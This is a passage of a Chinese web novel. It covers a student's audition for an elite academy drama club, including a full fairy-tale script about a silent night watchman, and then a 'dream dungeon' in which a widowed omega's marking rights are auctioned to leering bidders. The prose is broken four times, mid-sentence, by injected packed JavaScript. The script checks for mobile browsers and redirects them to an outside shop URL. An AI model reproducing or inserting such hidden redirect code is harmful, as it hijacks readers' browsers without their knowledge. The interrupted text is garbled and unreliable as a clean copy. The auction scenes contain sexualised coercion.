他陪着弄明白奚亭该去的教室,又陪着浑身湿了大半、抱着书本有些无措的新生赶过去,还在古板的怀特教授面前硬着头皮帮忙解释他迟到的原因。
虽然那天因为送迟了重要的文件挨了批评,但直到现在,奥列弗还是想,幸好那天,走的是那条路。
此刻,坐在图书馆的阳光里,奥利弗注视着对面微微抿唇的奚亭,那段潮湿记忆里的画面与眼前人重叠。
“就当是还我那次的人情?”奥利弗冲他眨眨眼,语气放得轻松,“就去面试一次,露个脸。我保证,只要社长摇一下头,说你不合适,我立马闭嘴,绝不再提这事,还帮你物色其他社团,怎么样?”
奚亭看着帮助过自己的学长如此恳切,也不再好意思拒绝。
他知道学长是好意。
就去试试吧,他心想。
他轻轻点了点头。
“好。”
奥利弗笑起来,一把抓住他的手腕。
“现在就去。”
*
戏剧社的活动中心是一座真正的小型现代剧院,独立矗立,占地广阔,线条利落冷峻。建筑主体由冷灰色大幅的落地玻璃幕墙构成,极具设计感,在午后的阳光下折射出昂贵的光泽。
奚亭几乎是被奥利弗半拉着穿过沉重的自动感应门。
挑高惊人的大厅极其宽敞,地面光可鉴人,中央一整面墙的巨大电子屏播放着高清影像。那是戏剧社的作品集,会选择一些优秀的作品播放。
此刻,正放到一份特写。
屏紫罗兰色的眼眸占据了大部分画面。
影像中的人微微侧首,直视镜头,没人会质疑他的深情:
“但只有你,是我独一无二的玫瑰。”
声音通过隐藏在各处的顶级音响系统流淌出来,在空旷寂静的大厅里萦绕不去。
周围零星几个正在交谈或走动的社员下意识地停下,目光被屏幕吸引,眼中流露出毫不掩饰的憧憬。
那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950832|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是夏。
那张脸在艾瑟伦无人不识,不仅是因为他顶级的表演天赋,更因他那闻名遐迩的浪漫多情的作风。
夏是个神秘的S级,没人知道他的背景。
学院里的S级不止四个,但家室最顶尖的、最不能招惹的四个名字,开学前奚行特地和奚亭叮嘱过。
江敛、多米尼克·瑞文夏尔·塞莱斯特·费尔温德、谢绥之,以及夏。
这四个人,被戏称为“F4”。
也许是出于某些玩弄人心的目的,夏加入了戏剧社,并且天赋极佳,给戏剧社创造了不少名场面,有着基数不小的粉丝。
戏剧社的社长是谢绥之。这也是一个独特的S级,分明家世顶尖,却没有一点傲气,总是温温和和的,对C级D级也从来不轻视,所以在s级中是风评最好的那个。
S级本来就不多,戏剧社占了两个,所以一直是最热门,资源最好的社团。与此对应的是,面试也最严格,多少人抢着都进不去。
奥利弗脚步未停,拉着奚亭绕过一道设计感很强的弧形屏风,又经过了几条走廊,进入了后面的核心区。
这里的氛围与外厅截然不同,显然更加私密安静,光线也调整得更为适宜阅读。
空间很开阔,一张宽大的长桌旁坐着个人,应该是刚刚结束某场会议,窗边立着一架看起来价值不菲的黑色三角钢琴。
谢绥之坐在长桌边,正垂眸翻阅着一叠装订整齐的文件。
他穿着一件质料精良的白色衬衫,袖子规矩地挽至手肘,露出一截线条干净的小臂和腕上款式简约却显然工艺非凡的表。
听到脚步声,他没有抬头,边翻动着文件边开口。
“奥利弗,你迟到了。”他的声音温润平和,听不出责备。
奥利弗很清楚这位社长的脾性,知道他并没有责怪自己。
“但值得等待——我带‘宝贝’来了。”奥利弗笑着,将身后的奚亭轻轻往前推了推。
奚亭踉跄了半步才站稳,下意识地将怀里抱着的书搂得更紧了些。
几乎是同时,他清晰地感觉到,有视线落在了自己身上。
窗边钢琴旁,原本背对着他们、似乎正在随意试按琴键的夏,不知何时已转过身来。他放松地斜倚着光洁的钢琴漆面。
他一条长腿微微曲起,一只手随意地搭在琴盖上,午后的阳光从他侧后方的大窗倾泻而入,将他的金发映照得更加璀璨,左耳上一枚单钻耳钉,折射出一点冷芒。
他的目光落在了奚亭脸上的一瞬间,倚着钢琴的姿态未变,脸上漫不经心却微妙地收敛了少许,紫罗兰色的眼睛几不可察地停顿了一瞬。
只是停顿一秒,他就开口了,语气里带着惯有的兴味,他声音比屏幕里更近,也更具实感,呈现出一种大提琴般的质感,无端让人觉得多情:“这就是你念叨了好几天的‘宝贝’?”
“宝贝”两个字被他刻意放慢了,像是情人的低语。
“对!”奥利弗语气兴奋,没有察觉到异常,又带着奚亭往前凑了半步,“你看他,是不是就是我们要找的‘守夜人’?”
谢绥之听着他们的对话,饶有兴趣的放下了手中的文件,身体微微转向奚亭的方向,目光平稳地望过来。
在触及奚亭面容的刹那,他榛褐色的眼眸几不可察地微微动了一下,有些惊讶,但他没露痕迹,很快恢复了惯常的从容。
只是他原本随意放在文件边沿的食指,无意识地轻轻点了一下光洁的纸面。
11. 《荆棘之心》
谢绥之缓缓坐正了,摆出了一个微笑:“同学你好,怎么称呼?”
“奚亭。”
“奚亭。”谢绥之重复了一遍,像在品味这个名字,“奥列弗说你对表演有兴趣?”
奚亭诚实摇头:“我只是需要社团学分。”
旁边有人轻笑了一声。是夏。
他紫罗兰色的眼睛含着笑意,似乎觉得很有趣。
“真直白。如果你说你是为我而来的,也许我能为你开个后门呢,甜心。”
他像奚亭眨了眨那双富有魅力的眼睛。
旁边的奥列弗张了张嘴想辩解:“但是他……”
“让他自己说。”
谢绥之温和的打断奥利弗,目光仍看着奚亭,就这样开始了简单的面试,“现在,我们在寻找一个角色。他一百年来没有说话,不曾离开,只是静静看着一个人沉睡,等待他的醒来。如果是你,你会怎么演?”
问题落下,空气安静下来,所有人都在看着他。
奚亭抬起眼。他看起来在认真思考,眉头微微蹙起。
停顿一会,他迟疑的开口。
“我不是很会演戏。”
“也许……我会试着忘记?”
“我不知道为什么要看一个人看一百年。但一百年,听起来就很漫长。”
他试着分析,语速有点慢,像在摸索合适的词,“但如果一直记着‘我已经等了一百年,我还要继续等下去’,那一定很难熬。”
奚亭说的很慢但很认真,“所以,不如忘记这件事,也许会不那么痛苦。”
他说完,似乎不确定这个答案是否合格,睫毛轻轻颤了一下。
谢绥之看着他,没有立刻评价。
他身后的夏,嘴角几不可察地向上弯了一下,更像是什么东西印证了他的猜想。
“还不错。”谢绥之转向奥列弗,“把剧本给他看看。”
奥列弗找出剧本,递给奚亭。
剧本叫作《荆棘之心》,改编自一个耳熟能详的童话故事。
百年之前,诅咒降临。
艾德里安王子在玫瑰高塔中陷入永眠,魔法荆棘将王国彻底封闭。传说,唯有真爱之吻能打破诅咒。
游侠罗兰在荆棘森林边缘遇见了邻国公主莉亚娜。罗兰潇洒不羁,将这趟旅程视为一场有趣的冒险;莉亚娜骄傲而富有野心,把拯救王子视为证明自己的绝佳机会。目的不同的两人,决定联手踏入森林。
他们抵达了荆棘缠绕的高塔。
在塔底的阴影里,立着一道身披灰袍的身影。他静立不动,如同塔身的一部分,几乎与石墙融为一体。莉亚娜的目光匆匆掠过他,径直走向塔内沉睡的王子。罗兰却在入口处停下了脚步。看着那影子驻足思考。
来到塔中的第一日,莉亚娜便尝试亲吻王子。她的姿态优雅,吻轻柔而标准,如同演练过千百遍。王子没有醒来。她蹙眉,但并不气馁。
罗兰没有走进塔内。
他在塔的周围走动,检查那些暗红色的荆棘,偶尔抬头望向高处的窗口。夜幕降临时,他靠着冰冷的石墙坐下,从行囊里取出水囊喝了一口。他的目光落回阴影中那道身影上。
“听说要‘真爱’之吻才行。”罗兰开口,声音在寂静中显得清晰,“你觉得,真爱是什么?”
影子没有回应。只有夜风吹过荆棘的细微声响。
罗兰笑了一下,并不在意。
“我见过很多人说爱,他们口中的爱喧嚣华丽,却又转身就可以忘怀。”
“究竟是谁会觉得,只要一个吻就能证明‘真爱’?”
第二日,莉亚娜再次尝试。她更换了角度,调整了呼吸,甚至轻声在王子的耳边诉说承诺。王子依旧沉睡。她的脸上第一次出现了焦虑的裂痕。
罗兰在塔内残破的书架间找到了一些散落的古籍。他掸去灰尘,借着窗格透入的天光翻阅。那些文字古老而晦涩。
傍晚,他又来到那道影子旁边,这次他坐得更近了些。
“我今天看到一本书记载,南境有一种鸟,一生只唱一次歌,唱完就会死去。”
他的声音很平静,似乎并不觉得触动,“有人说那是为爱而歌。用全部生命,换一次发声的机会。你觉得值得吗?”
当然没有回答。但罗兰似乎并不需要回答。
第三日,莉亚娜的吻已经带上了绝望。王子毫无反应。她终于失控,对着沉睡的面容低喊起来,质问他为何不醒,质问传说是否谎言。眼泪滴在王子的手背上,又很快变得冰凉。
罗兰没有去打扰她。他找到了关键的那一页。纸张脆弱,墨迹却依然刺眼。上面记载的并非荣耀的传说,而是一个被隐藏的惩罚:守夜人并非装饰,他是王子昔日最忠诚的随从。
诅咒降临的那个晚上,他试图用身体挡在王子身前。女巫的魔法并未因此偏移,却将他的奋不顾身变成了诅咒的一部分——他将永远清醒地守护这场沉睡,直至守夜人杀死王子,或者诅咒解除的那一日。
而解除之时,便是他彻底消散、被世界遗忘之刻。
惩罚,源于最深刻的忠诚。
罗兰合上书页。他在原地站了很久,然后走出塔外,再次来到那片阴影前。
这一次,他没有坐下,只是静静地站着,看着那袭沉默的罩袍。
莉亚娜冲了出来,声音带着怒火:“没有用!根本不行!我们都错了,一切都错了!”她看向罗兰,“根本没有真爱之吻,对不对?”
罗兰没有看她。他的目光依旧停留在守夜人身上,仿佛要穿透帽兜,看清下面那张被遗忘百年的面孔。
“也许,我们从一开始就找错了方向。”罗兰说,他的声音不大,却压过了莉亚娜的愤怒。
莉亚娜愣住:“什么?”
罗兰向前走了一步,更近地站在守夜人面前。这个距离,他几乎能感受到对方身上冰冷、凝固的时间。
“我见过许多爱。”罗兰开口,声音清晰而缓慢,不再是自语,而是向那沉默的身影倾诉,“热烈的,痛苦的,喧哗的,转瞬即逝的。它们都需要被看见,被回应,被铭记。”
他顿了顿,目光似乎与罩袍下那道无形的视线相接,“但还有一种爱,寂静了百年。它变成了一座塔的影子,变成了灰尘的一部分,变成了……不需要被看见的‘存在’本身。”
他转过身,看向塔内沉睡的王子,又缓缓转回来,面对守夜人。
“如果真爱需要被证明,”罗兰的声音很轻,却像投入深潭的石子,“那么它早就在这里了——不在王子的唇上,而在你百年未曾闭上的眼睛里。”
话音落下的瞬间,没有所谓的真爱之吻。
但高塔外密密麻麻的荆棘,忽然发出一阵低沉的、仿佛叹息般的摩擦声。
然后,它们开始缓慢地、以一种肉眼可见的速度,变得枯黄,蜷缩,最终化为簌簌落下的黑色尘埃。
塔内,王子长长的睫毛颤动了一下。
莉亚娜捂住嘴,难以置信地看着这一切。
光芒,温暖的阳光,时隔百年,终于毫无阻碍地涌入高塔,驱散了所有阴冷与灰尘。
守夜人的身体,在金色的光线中,开始变得透明。像晨曦中的露珠,缓缓消散。
百年来,他第一次动了。
那是一只修长、苍白的手,从灰袍的袖口中缓缓伸出。动作有些僵硬,仿佛关节早已锈蚀。手指触碰到兜帽的边缘,停顿了一瞬,然后,轻轻将其向后拉下。
他先望向塔内。王子正缓缓坐起身,迷茫地环顾四周,最终与莉亚娜惊喜的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950833|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光相遇。守夜人看着这一幕,眼神里没有任何波澜,仿佛只是确认一个早已写好的结局。
然后,他慢慢地,将视线转向了罗兰。
那是百年来,他第一次真正地“看”向一个人。
眼睛里没有感激的狂喜,没有解脱的泪水,没有悲伤,也没有痛苦。
只有一片无边无际的、终于抵达尽头的安宁。仿佛长途跋涉的旅人,在看见终点时,露出的那种疲惫的幸福。
他的目光在罗兰脸上停留着。时间好像被拉长了。
接着,他极轻、极淡地,弯了一下唇角。
像微风在水面吹起的,一道几乎看不见的涟漪。
他的身体变得更加透明,轮廓在光中晕开。
罗兰下意识地向前伸出手。
他的指尖什么也没触到。只有几粒比灰尘更细微的光点,在他指间闪烁了一下,随即彻底消失,融入了满塔的阳光之中。
什么也没有留下,仿佛那里从未站立过一个百年的灵魂。
王子与莉亚娜相拥,塔外传来隐约的、来自远方的欢呼,整个王国都在苏醒。
罗兰没有动。他站在原地,看着守夜人消失的那片空气,看了很久。然后,他转过身,一言不发地走出了高塔,走出了正在消退的荆棘森林,没有理会身后传来的任何呼唤。
当他终于走出森林边缘,踏上开阔的草地时,他停下脚步,最后一次回望。
那座高塔在晴朗的天空下静静矗立。
他低下头,摊开自己的手掌。
掌心静静地躺着一片花瓣。那不是新鲜的玫瑰,而是早已枯萎的、颜色黯淡的、不知来自何时的花瓣。边缘蜷缩,脆弱得一碰即碎。
他完全不记得自己何时握住了它。
罗兰凝视着这片枯萎的花瓣,看了许久。然后,他非常小心地,将它贴近自己胸口,一个靠近心跳的位置。
做完这一切,他抬起头,不再回望,向着森林之外广阔未知的世界,迈开了脚步。
风从他身后吹来,带着新生草木的气息,轻轻拂过他的衣角。
那座高塔与记忆被他永远地留在了身后。只有胸口那一点细微的、枯萎的触感,证明着某个不被记载的故事,曾经真实地存在过。
*
一个不知让人该悲伤还是叹息的故事。
奚亭看完,沉默了一会儿。
守夜人的台词很少,或者说漫长的等待同时也在消磨他的语言能力。
“那就先这么定了。”谢绥之拿起笔,在面前的表格上勾选,“奚亭,饰演守夜人,明天一起熟悉舞台初次排练。有问题吗?
“没有。”奚亭说。他抱着剧本,看起来分外乖巧。
面试就这样结束了。简单得超乎想象
奥列弗拍拍他的肩,他看起来比奚亭还要高兴:“欢迎加入!具体排练时间表我会发给你。对了,记得加一下社团群。”
奚亭被奥列弗的兴奋感染,调整了一下看完剧本有些低落的心情,冲奥列弗笑了一下,心想也许戏剧社也不错,算是新的有趣体验了。
他跟着奥列弗离开,接下来的任务是熟悉剧本和戏剧社,等待第一次排练。
经过钢琴时,夏忽然站直了身子。
两人距离拉近。奚亭闻到一股很淡的香气,混在夏身上温暖的体温里。他不得不抬起头,对上那双紫罗兰色的眼睛。
夏比他高半个头,垂眸看下来时,眼睛格外的深邃多情。
“守夜人。”夏声音压得低,“一直看着别人沉睡,不会觉得寂寞吗?”
问题来得突兀。奚亭怔住,不知该如何回答。
夏却笑了。这一次笑得真实些,嘴角勾起一点弧度,眼睛里闪着光。
“我很期待。”他说。
12. 【笼中雀】
【系统接入成功,梦境副本载入……】
【本次任务类型:限时任务】
【任务生成:
您很可怜,您爱上了别人的妻子。但是同时您很幸运,您爱人的丈夫“因故”“意外”身亡了。
显而易见,您的爱人很完美,有很多人和您一样渴望得到他,试着展示自己的魅力,获得您可怜的爱人的归属权吧。】
*
……
颈环扣上的时候,发出很轻的咔哒声。
奚亭垂着眼,看自己手腕上浅青色的血管。那截皮肤在冷白灯光下显得透明,仿佛能隔着极薄的一层皮肤看见血液缓慢流动的轨迹。
黑色的皮质项圈紧贴着脖颈,锁扣处在喉结下方,随着呼吸会轻微摩擦皮肤。
不疼,只是存在感很强。
像一道宣告所有权的烙印,只是现在还没有确定真正烙下的人是谁,所以先为施暴者画好了圈定的范围。
“抬头。”
化妆师的声音带着职业性的温和。
奚亭顺从地抬起脸,任由刷子扫过眼皮、脸颊、嘴唇。
腮红掩盖了他一夜未眠的苍白,在脸上晕开一层浅淡的粉色,唇膏是接近本唇色的玫瑰调,只让嘴唇看起来更湿润一些。
镜子里的那张脸熟悉又陌生。
黑色短发被仔细打理过,额前碎发被固定,露出完整的额头和眉毛。那双令人心醉的眼睛因为连日的缺乏睡眠而有些涣散。
他全身上下只穿着一件丝质的白色长袍。料子极好,触感冰凉柔滑,贴着皮肤流泻而下,除了腰间一根细细的银色丝带勉强系住作为遮掩,他身上再无任何装饰,也没有任何保护。
袍子的领口刻意开得很低,恰好露出那段线条优美的脖颈,以及颈上那个暗示性很强的黑色的环。
“好了。”
化妆师放下工具,退后两步打量他,眼中先是惊艳,随后是一闪而过的惋惜。她最后转身从架子上取下一小瓶喷雾,对着奚亭轻轻喷了两下。
清凉的水雾落在皮肤上,带着极淡的香气。不是香水,是信息素诱导剂,用来让 omega 的信息素更清晰地散发出来。
奚亭闻到那股冷冽的甘泉气息从自己身上弥漫开,清澈干净,尾调却带着一丝不易察觉的甜。
这是omega最隐秘的味道,只会展示给最爱的人,此刻却要毫无尊严的像商品一样被主动展示。
门被推开,江家的管家站在门口,西装一丝不苟,脸上没什么表情。
“时间到了,奚先生。”
奚亭站起来,长袍下摆随着动作垂落,贴合着柔韧的腰肢,随着步子晃动着。
他最后看了一眼镜子。镜中的人穿着纯白,颈间锁着纯黑,像一场精心设计的,殉葬仪式。
他转身,跟着管家走出房间。
走廊很长,铺着深红色的地毯,脚步声被完全吸收,剩下的就是无尽的黑暗。奚亭目不斜视地走着,手垂在身侧,指尖无意识地蜷缩了一下。
他知道这条路通向哪里。
……
艾瑟伦的钟声在夜色中敲响第十二下时,一栋建筑正悄然苏醒。
那是一座古老的圆形建筑,拜占庭式的穹顶在夕阳余晖下泛着暗金色的光泽,只有胸前佩戴着黑色鸢尾徽章——或是持有同等规格邀请函的人,才能通过那三道森严的检查。
空气里弥漫着雪松与冷檀混合的香氛,昂贵而疏离,试图掩盖某些更隐秘的气息。
中央的舞台铺着深红色天鹅绒,上方悬下一盏巨大的水晶吊灯,光线被刻意调暗,只将舞台中央那一小片区域照得清晰。环绕舞台的是三层逐级抬升的席位,此刻已坐着些人影。
他们的举止间带着与生俱来的从容,交谈声压得低而含蓄,却怎么也压不住那种古怪的狂热。
这是一场不对外的私人拍卖。
拍卖的不是艺术品,不是地产,也不是任何能用货币衡量的东西。
今夜,这里拍卖的是一个Omega的标记权。
水晶吊灯的光束打下来的瞬间,前厅所有的低语戛然而止。
奚亭站在那片光晕中央,微微眯了一下眼。光线太强,他看不清台下那些人的脸,只能感觉到无数道视线像实质的触手,粘稠地爬过他的身体。
从他被丝袍包裹的脚踝,到被纤薄衣料隐约勾勒出的腰臀曲线,再到敞开的领口和那片在灯光下白得晃眼、仿佛轻轻一碰就会留下痕迹的锁骨肌肤,最后定格在他始终低垂的、看不清神情的脸上。
那些目光里,裹挟着毫不掩饰的掠夺欲,更有一种积压已久、终于等到机会释放的灼热渴望。
来到这里的人,大部分都不是陌生的竞拍者。许多张面孔,都曾在他还是江凛的Omega时,或明或暗地投注过类似的视线,然后被江凛冰冷的目光挡了回去。
现在,他的保护伞破碎,被豺狼长久觊觎的宝物被洗净,置于展台。
他垂下眼,纤长睫毛在脸颊投下脆弱的阴影,试图隔绝那些几乎要将他穿透的注视。
主持拍卖的拍卖师声音沉稳,细细介绍着拍品的“价值”。
说他的容貌如何美丽,性情如何和顺;说他的背景高贵——已故上将江凛的曾经法定配偶;说他的信息素如何纯净。
他像一个货物被贴上冰冷的标签。
拍卖师每吐出一个字,奚亭都能感觉到台下目光变得更加露骨。
“纯净?哈,一个被人彻底开发过的Omega,站在这里,浑身都是勾人的味道,跟‘纯净’有什么关系?”
听到“纯净的信息素”,台下有人冷不丁开口。似乎是在讽刺拍卖师,听起来却更像在暗恨,为台上的拍卖品打上标记的那个人,不是自己。
“所以才更诱人不是么?想想看,那可是江凛……曾经独占过的。”
另一人嗤笑,目光却牢牢锁在奚亭因紧张而微微起伏的胸口,一瞬都舍不得离开,喃喃,“不过,这味道确实……比当年远远的嗅到的那丁点,带劲多了。”
“装得一副清高样子,现在还不是在这里,被明码标价?不知道私底下被江凛玩成什么样了。”
“你这话酸的……我怎么听说,你当时给他写了足足一百封封情书,追在人家屁股后面直到他毕业和江凛结婚?还腆着个脸说当小三也没关系,最后还是被无情拒绝了?”
嘲讽的人气急败坏的闭了嘴,明明已经是名震一方的大人物,耳朵还是不争气的红了。
“……真没想到,江家会走到这一步。”
也有正经的感叹。
“啧,没想到最后是以这种方式见到……”后排角落,有人压低了声音,语气复杂,“当年江凛护得跟什么似的,碰都不让碰一下。现在倒好,直接摆上来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950834|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
价高者得了。”
“你们说,他后悔吗?”
有人饶有兴味地接话,话是对同伴说,眼睛却盯着台上人形状姣好泛着蜜色的唇,视线又移到那代表着禁忌,让人分外想撕开的项圈。
“当年,连现在的谢家家主谢绥之都好像追过他吧?哦,还有那个闻家的小疯子,闹出的动静可不小。结果呢,他眼里只有江凛。现在江凛没了,他只能在这里任人宰割。”
“早知今日,当年是不是该多对别人笑笑?”
“何止。那位殿下,有次在古典文献学选修课上盯着他看了足足有十秒……后来那门课,那位就再没缺席过。以那位殿下的性子,说他们没有什么,我是不信的。”
“他以前在学院时就那样,安安静静的,谁跟他说话都脸红,偏偏谁都忍不住多看他两眼。江凛当年看得眼珠子似的,结果呢?”
“结果现在人没了。现在多少双眼睛盯着……江家没那个能耐,护不住他。把他送上拍卖会,这是甩了个烫手山芋,还想给那些觊觎他的人卖个好,哪一方都不得罪。”
有人嗤笑一声,“不愧是冷血冷情的江家。”
“江家要不冷血,还能轮到你坐在这里?这么多人到这里是什么心思,你不知道?”
有人睨他一眼,冷哼一声,坐正了身子去看台上竭力掩饰颤抖的美人,犬齿发痒。
拍卖台底还有更多的议论声,那声音中夹杂的恶意、快意,以及更深层、更肮脏的想象。
那些目光似乎已经剥开了他身上这层单薄的丝袍,在臆想中玩弄、品尝。
奚亭的指尖在袍袖下微微痉挛,握紧了和亡夫的婚戒。
那是他被江家人紧急限制起来之前,唯一拿到的亡夫的遗物。
拍卖师介绍完了本次的“拍卖品”,目光扫过台下:“今夜拍卖的,是这位omega永久标记权。
因拍卖品的特殊性,竞价不限于货币,任何等值或溢价资源均可作为出价。作为已故江凛上将的合法配偶,江家申请由拍品本人最终确认接受哪一方出价。现在,竞价开始。”
锤子敲下,带来极短暂的寂静。
短暂的寂静后。
一个从后排传来的、带着些许迫不及待的声音率先打破停滞。
“一千万。”
出价的是个面生的年轻Alpha,家族大概刚够着这场拍卖的门槛。他脸颊微红,目光灼灼地盯着台上的奚亭,那眼神不像在竞价,倒像急于将看中的珍宝第一时间标下,生怕被人抢走。
他的目光流连在奚亭被丝袍勾勒出的清瘦腰线上,心脏扑通扑通的为自己一见钟情的omega狂跳。
他想,那腰抱起来一定很软,很合适嵌进臂弯。如果他拍下他,第一件事就是把他搂进怀里,抹去他脸上那层虚假的平静,让他露出点别的表情。
哭也好,恼也罢,总比现在这样什么表情都没有要好。
这声出价像按下了某个开关。
“两千万。”
“三千万,外加城郊新开发区的两处庄园。”
“五千五百万,以及海外的一座酒庄。”
数字和附加条件开始攀升,第一批开口的出价者来自不同方向,大多并非顶尖的那一小撮,而是次一级家族中野心勃勃的继承人们。
他们的目光更加肆无忌惮,像无数双手,隔着空气抚过台上人的身体。
13. 【笼中雀】
价格被哄抬到一个令人窒息的高度,数字后面跟着的零多到让人麻木,附加的庄园、矿脉、岛屿,财产难以计数。
奚亭站在那里,像一个苍白的影子。
光束将他与周遭黑暗隔绝,却怎么也隔绝不开那些无处不在的目光。
他始终垂着眼,嘴唇抿得很紧,失了血色,只有被牙齿无意识咬过的地方透出一点深红。
握着戒指的手指用力到指节泛白,仿佛还能从上面残存的丈夫的信息素中获得一些依靠。
不要看,不要想。忘记自己在哪里,也许这一刻会不那么难熬。
假装自己还在庄园,在和丈夫的爱巢里,等待归家的丈夫和他软玉温存,商量今晚吃什么。
可台下,无数目光仍旧黏着在他身上。
那些目光早已剥开了那层象征性的丝袍,一遍又一遍舔舐过每一寸暴露的肌肤,更贪婪地臆想着衣料下的风景。
他们看他脆弱的脖颈,看那截被项圈衬托得愈发诱人、仿佛轻轻一折就会断掉的弧度;
看他因为紧张和耻辱而微微起伏的胸口,刻意挑选的丝绸面料勾勒出底下清晰的轮廓;
看他窄瘦的腰被银带束着,不堪一握;看他站立时并拢的、在袍摆下若隐若现的笔直小腿。
还有更多的目光,落在他脸上。
落在那强忍泪意的、泛红的眼尾,落在微微颤抖的、失去血色的唇上,落在他周身弥漫开的、那种混合着哀伤、但仍有一丝残余骄傲的破碎感上。
一种奇异的躁动在台下蔓延。那不仅仅是占有欲。
看着他这样安静地站在光束下,被迫展示,被迫待价而沽,被迫回忆亡夫而浑身散发出绝望的悲伤……一种更阴暗、更炽热的冲动在许多Alpha心中滋生。
想把他从那片刺眼的光里拉下来,拉进自己怀里。
想用指尖抹去他眼角的湿意,或者……让他为自己流下新的眼泪。
想看他那双动人的眼睛,不再因为亡夫,因为别的男人而空洞,而是因为自己染上情绪——无论是恐惧、哀求,还是别的……什么。
想让他紧抿的嘴唇松开,发出声音,哪怕是哭泣或哀求。
想成为那个“拥有”他的人,不仅是标记,而是掌控他此刻的脆弱,掌握他的所有,不让他继续沉浸在悲伤里目空一切,告诉他要面对新的现实。
想让他记住,从现在起,是谁在看着他,是谁将要拥有他。
他越是悲伤,越是抗拒,越是紧紧攥着那枚死人的戒指,就越是想……摧毁那点固执,或者,将那点固执连同他这个人,一起攥进手心。
终于,在气氛已经发酵到最高点时,奚亭曾经真正的“校友们”开口了。
“十七个亿,加上南法的十座酒庄,以及我的所有藏品。” 一个气质威严的Alpha沉声开口,目光紧紧锁着奚亭因为听到他声音而颤抖的睫毛,仿佛在估量品味那点颤动的价值。
奚亭曾在艾瑟伦学院的、那些非富即贵权势滔天的同学们终于开口了。
他们也许曾经扮作友善的同学,毫无杂念的朋友,哪怕奚亭结婚了,也还是用各种理由带着伪善的面具停留在他身边。
但现在,窥伺的豺狼一直等待的机会,终于到来了。
“我出……”另一个Alpha眼神炽热得几乎要灼伤人,他舔了舔有些发干的嘴唇,“北海的那片私人海域,附带游艇舰队。还有……我保证,和我在一起,你会得到最好的照顾,忘记过去。”
他的“照顾”一词,说得意味深长。
竞价仍在继续,价格和附加条件越来越离谱,像一场炫富的狂欢。但许多人的心思,似乎已不完全在筹码上。
他们盯着台上的人,揣测着他崩溃的临界点,想象着当最终锤音落下,那双蒙着水汽的眼睛会看向谁,那具紧绷的身体会为谁而松懈,或为谁而颤抖得更厉害。
空气里,属于不同Alpha的信息素虽仍克制,却已隐隐躁动,彼此摩擦碰撞。而Omega身上那股清冽微甜的气息,在诸多强势气息与催化剂的影响下,不受控制地变得清晰、被迫一点点释放本应该只提供给爱人的信息素。
混杂着贪婪、欲念与复杂征服欲的氛围达到某个顶点时,二楼包厢传来一声轻轻的、带着磁性的低笑,打破了略显嘈杂的竞价。
所有人的目光下意识望去。
随即知道今天恐怕无望了。
夏倚着雕花栏杆,淡金色的发梢在昏昧光线中流淌着暖色的光泽。他紫罗兰色的眼眸流转着醉人的微光,专注地望向舞台中央,那目光穿透了距离与人群,直接落在奚亭身上。
他仿佛没在意刚才那些人的出价,只专注地望着舞台中央,语调慵懒而缠绵,宛如台上被拍卖的Omega已经成为他的恋人,他的所有物:
“亲爱的,你想不想要一座岛?”
他声音不大,却清晰地压过了低语。
“我和你说过的,在西海岸,我你造了一座有着玻璃花房和永恒春天的岛。”他顿了顿,目光描摹过奚亭苍白的脸,笑意加深,“当时,你拒绝了我。”
“但现在,我想,那里的阳光,或许能晒干一些不必要的眼泪。”
他曾在那片开满玫瑰的花园里等待,却只等到一个冷漠离开的背影。今夜,他要将人锁进更大、更华丽的笼子。
岛屿,不止象征着温柔与浪漫,还是与世隔绝的绝对掌控。
拍卖台的灯光很亮,为了把这一份诱人的“拍卖品”更好的呈现给每一个觊觎他的人。所以,夏能够精准地捕捉光束下Omega每一寸细微的反应,包括他在自己说出那句话时,眼里生起的一丝波澜。
奚亭的睫毛几不可察地颤动了一下。
并不是为那座所谓永远春天的小岛。他只是忽然记起,很久以前,一次无关紧要的闲聊,江凛握着他冰凉的手呵气,笑着说他的宝贝这样怕冷,等一切事了了,要带他去永远温暖的地方。
他自己都几乎忘了。
台下响起几声了然的冷哼,有人低声对同伴说:“他还是老样子,喜欢把漂亮东西藏起来独享。”
然而,还未等到奚亭给出回复,一个冷淡得不带丝毫情绪、甚至听来透着厌烦的声音,从二楼正中央
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 